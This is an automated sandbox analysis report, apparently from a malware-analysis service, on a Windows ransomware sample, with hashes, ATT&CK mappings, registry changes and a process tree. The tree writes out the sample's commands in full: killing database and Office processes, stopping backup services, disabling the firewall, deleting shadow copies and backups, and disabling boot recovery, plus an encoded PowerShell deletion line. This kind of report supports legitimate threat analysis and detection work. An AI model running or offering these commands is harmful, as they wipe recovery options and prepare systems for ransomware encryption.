99a0753cba25425651e42ff7673506aa4090a03d8398f702e41d80ca5c2b212e

General

Target

1069-cc87764d70827118862689d1630efc72547f97aa.exe
Size

3.2MB
MD5

f17e50158a1faf71deb3a6e8b4f3271f
SHA1

cc87764d70827118862689d1630efc72547f97aa
SHA256

99a0753cba25425651e42ff7673506aa4090a03d8398f702e41d80ca5c2b212e
SHA512

e60404ec7d526dd522ca6347c1fbc87f9783b0c0fa31ca4b8aaa656718a8ceaaf26ec8259a31df58ddb0500df8b7a0f63ad7aca652860d50baf4bc66fdd7643b

Score

10^/10

evasion ransomware trojan

Malware Config

Signatures

UAC bypass 3 TTPs
evasion trojan

Bypass User Account Control
T1088

Disabling Security Tools
T1089

Modify Registry
T1112
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490
Disables Task Manager via registry modification
evasion
Drops file in Drivers directory 1 IoCs

Processes:

1069-cc87764d70827118862689d1630efc72547f97aa.exe

description ioc process

File created C:\Windows\System32\drivers\etc\host 1069-cc87764d70827118862689d1630efc72547f97aa.exe
Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031

description	ioc	process
File created	C:\Windows\System32\drivers\etc\host	1069-cc87764d70827118862689d1630efc72547f97aa.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

Processes:

1069-cc87764d70827118862689d1630efc72547f97aa.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	1069-cc87764d70827118862689d1630efc72547f97aa.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

1069-cc87764d70827118862689d1630efc72547f97aa.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\@Adsız@.jpg"	1069-cc87764d70827118862689d1630efc72547f97aa.exe

Drops file in Windows directory 1 IoCs

Processes:

1069-cc87764d70827118862689d1630efc72547f97aa.exe

description ioc process

File created C:\Windows\Please Read ME!!!.log 1069-cc87764d70827118862689d1630efc72547f97aa.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Interacts with shadow copies 2 TTPs 4 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Processes:

vssadmin.exevssadmin.exevssadmin.exevssadmin.exe

pid process

1248 vssadmin.exe
268 vssadmin.exe
556 vssadmin.exe
952 vssadmin.exe

description	ioc	process
File created	C:\Windows\Please Read ME!!!.log	1069-cc87764d70827118862689d1630efc72547f97aa.exe

pid	process
1248	vssadmin.exe
268	vssadmin.exe
556	vssadmin.exe
952	vssadmin.exe

Kills process with taskkill 14 IoCs

evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid	process
2444	taskkill.exe
2512	taskkill.exe
2308	taskkill.exe
2480	taskkill.exe
2184	taskkill.exe
2272	taskkill.exe
2152	taskkill.exe
2340	taskkill.exe
2372	taskkill.exe
2040	taskkill.exe
2120	taskkill.exe
2544	taskkill.exe
2220	taskkill.exe
2412	taskkill.exe

Modifies Control Panel 2 IoCs

evasion

Processes:

1069-cc87764d70827118862689d1630efc72547f97aa.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Control Panel\desktop	1069-cc87764d70827118862689d1630efc72547f97aa.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Control Panel\Desktop\TileWallpaper = "0"	1069-cc87764d70827118862689d1630efc72547f97aa.exe

Runs net.exe
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

1844 powershell.exe
1844 powershell.exe

pid	process
1844	powershell.exe
1844	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

taskkill.exevssvc.exeWMIC.exeWMIC.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	2040	taskkill.exe
Token: SeBackupPrivilege	1600	vssvc.exe
Token: SeRestorePrivilege	1600	vssvc.exe
Token: SeAuditPrivilege	1600	vssvc.exe
Token: SeIncreaseQuotaPrivilege	1732	WMIC.exe
Token: SeSecurityPrivilege	1732	WMIC.exe
Token: SeTakeOwnershipPrivilege	1732	WMIC.exe
Token: SeLoadDriverPrivilege	1732	WMIC.exe
Token: SeSystemProfilePrivilege	1732	WMIC.exe
Token: SeSystemtimePrivilege	1732	WMIC.exe
Token: SeProfSingleProcessPrivilege	1732	WMIC.exe
Token: SeIncBasePriorityPrivilege	1732	WMIC.exe
Token: SeCreatePagefilePrivilege	1732	WMIC.exe
Token: SeBackupPrivilege	1732	WMIC.exe
Token: SeRestorePrivilege	1732	WMIC.exe
Token: SeShutdownPrivilege	1732	WMIC.exe
Token: SeDebugPrivilege	1732	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1732	WMIC.exe
Token: SeRemoteShutdownPrivilege	1732	WMIC.exe
Token: SeUndockPrivilege	1732	WMIC.exe
Token: SeManageVolumePrivilege	1732	WMIC.exe
Token: 33	1732	WMIC.exe
Token: 34	1732	WMIC.exe
Token: 35	1732	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1352	WMIC.exe
Token: SeSecurityPrivilege	1352	WMIC.exe
Token: SeTakeOwnershipPrivilege	1352	WMIC.exe
Token: SeLoadDriverPrivilege	1352	WMIC.exe
Token: SeSystemProfilePrivilege	1352	WMIC.exe
Token: SeSystemtimePrivilege	1352	WMIC.exe
Token: SeProfSingleProcessPrivilege	1352	WMIC.exe
Token: SeIncBasePriorityPrivilege	1352	WMIC.exe
Token: SeCreatePagefilePrivilege	1352	WMIC.exe
Token: SeBackupPrivilege	1352	WMIC.exe
Token: SeRestorePrivilege	1352	WMIC.exe
Token: SeShutdownPrivilege	1352	WMIC.exe
Token: SeDebugPrivilege	1352	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1352	WMIC.exe
Token: SeRemoteShutdownPrivilege	1352	WMIC.exe
Token: SeUndockPrivilege	1352	WMIC.exe
Token: SeManageVolumePrivilege	1352	WMIC.exe
Token: 33	1352	WMIC.exe
Token: 34	1352	WMIC.exe
Token: 35	1352	WMIC.exe
Token: SeDebugPrivilege	1844	powershell.exe
Token: SeIncreaseQuotaPrivilege	1352	WMIC.exe
Token: SeSecurityPrivilege	1352	WMIC.exe
Token: SeTakeOwnershipPrivilege	1352	WMIC.exe
Token: SeLoadDriverPrivilege	1352	WMIC.exe
Token: SeSystemProfilePrivilege	1352	WMIC.exe
Token: SeSystemtimePrivilege	1352	WMIC.exe
Token: SeProfSingleProcessPrivilege	1352	WMIC.exe
Token: SeIncBasePriorityPrivilege	1352	WMIC.exe
Token: SeCreatePagefilePrivilege	1352	WMIC.exe
Token: SeBackupPrivilege	1352	WMIC.exe
Token: SeRestorePrivilege	1352	WMIC.exe
Token: SeShutdownPrivilege	1352	WMIC.exe
Token: SeDebugPrivilege	1352	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1352	WMIC.exe
Token: SeRemoteShutdownPrivilege	1352	WMIC.exe
Token: SeUndockPrivilege	1352	WMIC.exe
Token: SeManageVolumePrivilege	1352	WMIC.exe
Token: 33	1352	WMIC.exe
Token: 34	1352	WMIC.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

NOTEPAD.EXE

pid process

1696 NOTEPAD.EXE

pid	process
1696	NOTEPAD.EXE

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

1069-cc87764d70827118862689d1630efc72547f97aa.execmd.execmd.execmd.execmd.execmd.exenet.execmd.execmd.exe

description	pid	process	target process
PID 1100 wrote to memory of 1976	1100	1069-cc87764d70827118862689d1630efc72547f97aa.exe	cmd.exe
PID 1100 wrote to memory of 1976	1100	1069-cc87764d70827118862689d1630efc72547f97aa.exe	cmd.exe
PID 1100 wrote to memory of 1976	1100	1069-cc87764d70827118862689d1630efc72547f97aa.exe	cmd.exe
PID 1100 wrote to memory of 1976	1100	1069-cc87764d70827118862689d1630efc72547f97aa.exe	cmd.exe
PID 1100 wrote to memory of 1788	1100	1069-cc87764d70827118862689d1630efc72547f97aa.exe	cmd.exe
PID 1100 wrote to memory of 1788	1100	1069-cc87764d70827118862689d1630efc72547f97aa.exe	cmd.exe
PID 1100 wrote to memory of 1788	1100	1069-cc87764d70827118862689d1630efc72547f97aa.exe	cmd.exe
PID 1100 wrote to memory of 1788	1100	1069-cc87764d70827118862689d1630efc72547f97aa.exe	cmd.exe
PID 1100 wrote to memory of 1760	1100	1069-cc87764d70827118862689d1630efc72547f97aa.exe	cmd.exe
PID 1100 wrote to memory of 1760	1100	1069-cc87764d70827118862689d1630efc72547f97aa.exe	cmd.exe
PID 1100 wrote to memory of 1760	1100	1069-cc87764d70827118862689d1630efc72547f97aa.exe	cmd.exe
PID 1100 wrote to memory of 1760	1100	1069-cc87764d70827118862689d1630efc72547f97aa.exe	cmd.exe
PID 1100 wrote to memory of 1776	1100	1069-cc87764d70827118862689d1630efc72547f97aa.exe	cmd.exe
PID 1100 wrote to memory of 1776	1100	1069-cc87764d70827118862689d1630efc72547f97aa.exe	cmd.exe
PID 1100 wrote to memory of 1776	1100	1069-cc87764d70827118862689d1630efc72547f97aa.exe	cmd.exe
PID 1100 wrote to memory of 1776	1100	1069-cc87764d70827118862689d1630efc72547f97aa.exe	cmd.exe
PID 1100 wrote to memory of 2028	1100	1069-cc87764d70827118862689d1630efc72547f97aa.exe	cmd.exe
PID 1100 wrote to memory of 2028	1100	1069-cc87764d70827118862689d1630efc72547f97aa.exe	cmd.exe
PID 1100 wrote to memory of 2028	1100	1069-cc87764d70827118862689d1630efc72547f97aa.exe	cmd.exe
PID 1100 wrote to memory of 2028	1100	1069-cc87764d70827118862689d1630efc72547f97aa.exe	cmd.exe
PID 1976 wrote to memory of 2040	1976	cmd.exe	taskkill.exe
PID 1976 wrote to memory of 2040	1976	cmd.exe	taskkill.exe
PID 1976 wrote to memory of 2040	1976	cmd.exe	taskkill.exe
PID 1976 wrote to memory of 2040	1976	cmd.exe	taskkill.exe
PID 1788 wrote to memory of 2024	1788	cmd.exe	net.exe
PID 1788 wrote to memory of 2024	1788	cmd.exe	net.exe
PID 1788 wrote to memory of 2024	1788	cmd.exe	net.exe
PID 1788 wrote to memory of 2024	1788	cmd.exe	net.exe
PID 1760 wrote to memory of 1280	1760	cmd.exe	netsh.exe
PID 1760 wrote to memory of 1280	1760	cmd.exe	netsh.exe
PID 1760 wrote to memory of 1280	1760	cmd.exe	netsh.exe
PID 1760 wrote to memory of 1280	1760	cmd.exe	netsh.exe
PID 1100 wrote to memory of 1192	1100	1069-cc87764d70827118862689d1630efc72547f97aa.exe	cmd.exe
PID 1100 wrote to memory of 1192	1100	1069-cc87764d70827118862689d1630efc72547f97aa.exe	cmd.exe
PID 1100 wrote to memory of 1192	1100	1069-cc87764d70827118862689d1630efc72547f97aa.exe	cmd.exe
PID 1100 wrote to memory of 1192	1100	1069-cc87764d70827118862689d1630efc72547f97aa.exe	cmd.exe
PID 1776 wrote to memory of 1248	1776	cmd.exe	vssadmin.exe
PID 1776 wrote to memory of 1248	1776	cmd.exe	vssadmin.exe
PID 1776 wrote to memory of 1248	1776	cmd.exe	vssadmin.exe
PID 1776 wrote to memory of 1248	1776	cmd.exe	vssadmin.exe
PID 1100 wrote to memory of 1492	1100	1069-cc87764d70827118862689d1630efc72547f97aa.exe	cmd.exe
PID 1100 wrote to memory of 1492	1100	1069-cc87764d70827118862689d1630efc72547f97aa.exe	cmd.exe
PID 1100 wrote to memory of 1492	1100	1069-cc87764d70827118862689d1630efc72547f97aa.exe	cmd.exe
PID 1100 wrote to memory of 1492	1100	1069-cc87764d70827118862689d1630efc72547f97aa.exe	cmd.exe
PID 2028 wrote to memory of 268	2028	cmd.exe	vssadmin.exe
PID 2028 wrote to memory of 268	2028	cmd.exe	vssadmin.exe
PID 2028 wrote to memory of 268	2028	cmd.exe	vssadmin.exe
PID 2028 wrote to memory of 268	2028	cmd.exe	vssadmin.exe
PID 2024 wrote to memory of 1028	2024	net.exe	net1.exe
PID 2024 wrote to memory of 1028	2024	net.exe	net1.exe
PID 2024 wrote to memory of 1028	2024	net.exe	net1.exe
PID 2024 wrote to memory of 1028	2024	net.exe	net1.exe
PID 1492 wrote to memory of 556	1492	cmd.exe	vssadmin.exe
PID 1492 wrote to memory of 556	1492	cmd.exe	vssadmin.exe
PID 1492 wrote to memory of 556	1492	cmd.exe	vssadmin.exe
PID 1492 wrote to memory of 556	1492	cmd.exe	vssadmin.exe
PID 1192 wrote to memory of 1844	1192	cmd.exe	powershell.exe
PID 1192 wrote to memory of 1844	1192	cmd.exe	powershell.exe
PID 1192 wrote to memory of 1844	1192	cmd.exe	powershell.exe
PID 1192 wrote to memory of 1844	1192	cmd.exe	powershell.exe
PID 1788 wrote to memory of 1576	1788	cmd.exe	net.exe
PID 1788 wrote to memory of 1576	1788	cmd.exe	net.exe
PID 1788 wrote to memory of 1576	1788	cmd.exe	net.exe
PID 1788 wrote to memory of 1576	1788	cmd.exe	net.exe

System policy modification 1 TTPs 17 IoCs

evasion

Modify Registry

T1112

Processes:

1069-cc87764d70827118862689d1630efc72547f97aa.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	1069-cc87764d70827118862689d1630efc72547f97aa.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken = "0"	1069-cc87764d70827118862689d1630efc72547f97aa.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\undockwithoutlogon = "1"	1069-cc87764d70827118862689d1630efc72547f97aa.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "1"	1069-cc87764d70827118862689d1630efc72547f97aa.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\scforceoption = "0"	1069-cc87764d70827118862689d1630efc72547f97aa.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\shutdownwithoutlogon = "1"	1069-cc87764d70827118862689d1630efc72547f97aa.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	1069-cc87764d70827118862689d1630efc72547f97aa.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "5"	1069-cc87764d70827118862689d1630efc72547f97aa.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableInstallerDetection = "1"	1069-cc87764d70827118862689d1630efc72547f97aa.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableUIADesktopToggle = "5"	1069-cc87764d70827118862689d1630efc72547f97aa.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "3"	1069-cc87764d70827118862689d1630efc72547f97aa.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\dontdisplaylastusername = "0"	1069-cc87764d70827118862689d1630efc72547f97aa.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableSecureUIAPaths = "1"	1069-cc87764d70827118862689d1630efc72547f97aa.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\legalnoticecaption	1069-cc87764d70827118862689d1630efc72547f97aa.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableVirtualization = "1"	1069-cc87764d70827118862689d1630efc72547f97aa.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\legalnoticetext	1069-cc87764d70827118862689d1630efc72547f97aa.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ValidateAdminCodeSignatures = "0"	1069-cc87764d70827118862689d1630efc72547f97aa.exe

C:\Users\Admin\AppData\Local\Temp\1069-cc87764d70827118862689d1630efc72547f97aa.exe
"C:\Users\Admin\AppData\Local\Temp\1069-cc87764d70827118862689d1630efc72547f97aa.exe"
1⤵
- Drops file in Drivers directory
- Checks whether UAC is enabled
- Sets desktop wallpaper using registry
- Drops file in Windows directory
- Modifies Control Panel
- Suspicious use of WriteProcessMemory
- System policy modification
PID:1100

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C taskkill /f /im sql.* & taskkill /f /im winword.* & taskkill /f /im wordpad.* & taskkill /f /im outlook.* & taskkill /f /im thunderbird.* & taskkill /f /im oracle.* & taskkill /f /im excel.* & taskkill /f /im onenote.* & taskkill /f /im virtualboxvm.* & taskkill /f /im node.* & taskkill /f /im QBW32.* & taskkill /f /im WBGX.* & taskkill /f /im Teams.* & taskkill /f /im Flow.*
2⤵
- Suspicious use of WriteProcessMemory
PID:1976

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im sql.*
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2040

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im winword.*
3⤵
- Kills process with taskkill
PID:2120

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im wordpad.*
3⤵
- Kills process with taskkill
PID:2152

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im outlook.*
3⤵
- Kills process with taskkill
PID:2184

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im thunderbird.*
3⤵
- Kills process with taskkill
PID:2220

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im oracle.*
3⤵
- Kills process with taskkill
PID:2272

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im excel.*
3⤵
- Kills process with taskkill
PID:2308

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im onenote.*
3⤵
- Kills process with taskkill
PID:2340

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im virtualboxvm.*
3⤵
- Kills process with taskkill
PID:2372

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im node.*
3⤵
- Kills process with taskkill
PID:2412

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im QBW32.*
3⤵
- Kills process with taskkill
PID:2444

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im WBGX.*
3⤵
- Kills process with taskkill
PID:2480

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im Teams.*
3⤵
- Kills process with taskkill
PID:2512

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im Flow.*
3⤵
- Kills process with taskkill
PID:2544

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C net stop DbxSvc & net stop OracleXETNSListener & net stop OracleServiceXE & net stop AcrSch2Svc & net stop AcronisAgent & net stop Apache2.4 & net stop SQLWriter & net stop MSSQL$SQLEXPRESS & net stop MSSQLServerADHelper100 & net stop MongoDB & net stop SQLAgent$SQLEXPRESS & net stop SQLBrowser & net stop CobianBackup11 & net stop cbVSCService11 & net stop QBCFMontorService & net stop QBVSS
2⤵
- Suspicious use of WriteProcessMemory
PID:1788

C:\Windows\SysWOW64\net.exe
net stop DbxSvc
3⤵
- Suspicious use of WriteProcessMemory
PID:2024

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop DbxSvc
4⤵
PID:1028

C:\Windows\SysWOW64\net.exe
net stop OracleXETNSListener
3⤵
PID:1576

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop OracleXETNSListener
4⤵
PID:1456

C:\Windows\SysWOW64\net.exe
net stop OracleServiceXE
3⤵
PID:836

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop OracleServiceXE
4⤵
PID:1252

C:\Windows\SysWOW64\net.exe
net stop AcrSch2Svc
3⤵
PID:548

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop AcrSch2Svc
4⤵
PID:240

C:\Windows\SysWOW64\net.exe
net stop AcronisAgent
3⤵
PID:692

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop AcronisAgent
4⤵
PID:432

C:\Windows\SysWOW64\net.exe
net stop Apache2.4
3⤵
PID:1524

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Apache2.4
4⤵
PID:1536

C:\Windows\SysWOW64\net.exe
net stop SQLWriter
3⤵
PID:908

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLWriter
4⤵
PID:1848

C:\Windows\SysWOW64\net.exe
net stop MSSQL$SQLEXPRESS
3⤵
PID:1380

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL$SQLEXPRESS
4⤵
PID:1696

C:\Windows\SysWOW64\net.exe
net stop MSSQLServerADHelper100
3⤵
PID:664

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLServerADHelper100
4⤵
PID:800

C:\Windows\SysWOW64\net.exe
net stop MongoDB
3⤵
PID:880

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MongoDB
4⤵
PID:1576

C:\Windows\SysWOW64\net.exe
net stop SQLAgent$SQLEXPRESS
3⤵
PID:928

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent$SQLEXPRESS
4⤵
PID:836

C:\Windows\SysWOW64\net.exe
net stop SQLBrowser
3⤵
PID:940

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLBrowser
4⤵
PID:912

C:\Windows\SysWOW64\net.exe
net stop CobianBackup11
3⤵
PID:1944

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop CobianBackup11
4⤵
PID:1856

C:\Windows\SysWOW64\net.exe
net stop cbVSCService11
3⤵
PID:1936

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop cbVSCService11
4⤵
PID:1924

C:\Windows\SysWOW64\net.exe
net stop QBCFMontorService
3⤵
PID:556

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop QBCFMontorService
4⤵
PID:848

C:\Windows\SysWOW64\net.exe
net stop QBVSS
3⤵
PID:760

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop QBVSS
4⤵
PID:1784

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C netsh firewall set opmode disable
2⤵
- Suspicious use of WriteProcessMemory
PID:1760

C:\Windows\SysWOW64\netsh.exe
netsh firewall set opmode disable
3⤵
PID:1280

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C vssadmin resize shadowstorage /for=C: /on=C: /maxsize=401MB
2⤵
- Suspicious use of WriteProcessMemory
PID:1776

C:\Windows\SysWOW64\vssadmin.exe
vssadmin resize shadowstorage /for=C: /on=C: /maxsize=401MB
3⤵
- Interacts with shadow copies
PID:1248

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C vssadmin resize shadowstorage /for=C: /on=C: /maxsize=unbounded
2⤵
- Suspicious use of WriteProcessMemory
PID:2028

C:\Windows\SysWOW64\vssadmin.exe
vssadmin resize shadowstorage /for=C: /on=C: /maxsize=unbounded
3⤵
- Interacts with shadow copies
PID:268

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C powershell.exe -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
2⤵
- Suspicious use of WriteProcessMemory
PID:1192

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1844

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet & wbadmin delete systemstatebackup & wbadmin delete systemstatebackup -keepversions:0 & wbadmin delete backup
2⤵
- Suspicious use of WriteProcessMemory
PID:1492

C:\Windows\SysWOW64\vssadmin.exe
vssadmin delete shadows /all /quiet
3⤵
- Interacts with shadow copies
PID:556

C:\Windows\SysWOW64\Wbem\WMIC.exe
wmic shadowcopy delete
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1352

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet & wbadmin delete systemstatebackup & wbadmin delete systemstatebackup -keepversions:0 & wbadmin delete backup
2⤵
PID:1768

C:\Windows\SysWOW64\vssadmin.exe
vssadmin delete shadows /all /quiet
3⤵
- Interacts with shadow copies
PID:952

C:\Windows\SysWOW64\Wbem\WMIC.exe
wmic shadowcopy delete
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1732

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1600

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\Please Read ME!!!.log
1⤵
- Suspicious use of FindShellTrayWindow
PID:1696

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Modify Existing Service

1

T1031

Privilege Escalation

Bypass User Account Control

1

T1088

Defense Evasion

Bypass User Account Control

1

T1088

Disabling Security Tools

1

T1089

Modify Registry

3

T1112

File Deletion

2

T1107

Credential Access

Discovery

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Inhibit System Recovery

2

T1490

Defacement

1

T1491

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\Desktop\Please Read ME!!!.log
MD5
81051bcc2cf1bedf378224b0a93e2877

SHA1
ba8ab5a0280b953aa97435ff8946cbcbb2755a27

SHA256
7eb70257593da06f682a3ddda54a9d260d4fc514f645237f5ca74b08f8da61a6

SHA512
1b302a2f1e624a5fb5ad94ddc4e5f8bfd74d26fa37512d0e5face303d8c40eee0d0ffa3649f5da43f439914d128166cb6c4774a7caa3b174d7535451eb697b5d

Download Submit
memory/240-83-0x0000000000000000-mapping.dmp

Download
memory/268-73-0x0000000000000000-mapping.dmp

Download
memory/432-85-0x0000000000000000-mapping.dmp

Download
memory/548-82-0x0000000000000000-mapping.dmp

Download
memory/556-109-0x0000000000000000-mapping.dmp

Download
memory/556-75-0x0000000000000000-mapping.dmp

Download
memory/664-95-0x0000000000000000-mapping.dmp

Download
memory/692-84-0x0000000000000000-mapping.dmp

Download
memory/760-111-0x0000000000000000-mapping.dmp

Download
memory/800-97-0x0000000000000000-mapping.dmp

Download
memory/836-101-0x0000000000000000-mapping.dmp

Download
memory/836-80-0x0000000000000000-mapping.dmp

Download
memory/848-110-0x0000000000000000-mapping.dmp

Download
memory/880-98-0x0000000000000000-mapping.dmp

Download
memory/908-88-0x0000000000000000-mapping.dmp

Download
memory/912-103-0x0000000000000000-mapping.dmp

Download
memory/928-100-0x0000000000000000-mapping.dmp

Download
memory/940-102-0x0000000000000000-mapping.dmp

Download
memory/952-92-0x0000000000000000-mapping.dmp

Download
memory/1028-74-0x0000000000000000-mapping.dmp

Download
memory/1100-60-0x0000000075AF1000-0x0000000075AF3000-memory.dmp

Filesize
8KB

Download
memory/1100-68-0x0000000000230000-0x0000000000231000-memory.dmp

Filesize
4KB

Download
memory/1192-70-0x0000000000000000-mapping.dmp

Download
memory/1248-71-0x0000000000000000-mapping.dmp

Download
memory/1252-81-0x0000000000000000-mapping.dmp

Download
memory/1280-69-0x0000000000000000-mapping.dmp

Download
memory/1352-94-0x0000000000000000-mapping.dmp

Download
memory/1380-91-0x0000000000000000-mapping.dmp

Download
memory/1456-79-0x0000000000000000-mapping.dmp

Download
memory/1492-72-0x0000000000000000-mapping.dmp

Download
memory/1524-86-0x0000000000000000-mapping.dmp

Download
memory/1536-87-0x0000000000000000-mapping.dmp

Download
memory/1576-99-0x0000000000000000-mapping.dmp

Download
memory/1576-78-0x0000000000000000-mapping.dmp

Download
memory/1696-93-0x0000000000000000-mapping.dmp

Download
memory/1696-123-0x000007FEFBAA1000-0x000007FEFBAA3000-memory.dmp

Filesize
8KB

Download
